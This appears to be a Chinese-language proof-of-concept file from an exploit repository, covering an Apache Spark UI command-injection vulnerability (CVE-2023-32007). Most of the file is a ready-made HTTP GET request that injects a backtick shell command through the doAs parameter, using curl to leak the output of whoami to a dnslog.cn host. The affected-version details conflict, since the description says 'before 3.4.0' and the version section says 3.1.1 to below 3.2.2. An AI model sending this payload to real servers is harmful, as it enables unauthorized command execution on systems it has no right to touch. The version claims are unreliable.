POC/wpoc/Apache/Apache Spark命令执行漏洞(CVE-2023-32007).md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

25 lines
926 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 介绍
Apache Spark是美国阿帕奇Apache基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。
Apache Spark 3.4.0之前版本存在命令注入漏洞该漏洞源于如果ACL启用后HttpSecurityFilter中的代码路径可以允许通过提供任意用户名来执行模拟这将导致任意shell命令执行。
## 漏洞版本
3.1.1 <= Apache Spark < 3.2.2
## 利用条件
Apache Spark UI 启用 ACL 且低权限
## 漏洞poc
```
GET /jobs/?doAs=`curl+$(whoami)hw9y0l.dnslog.cn` HTTP/1.1
Host: 10.211.55.7:4040
Connection: keep-alive
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```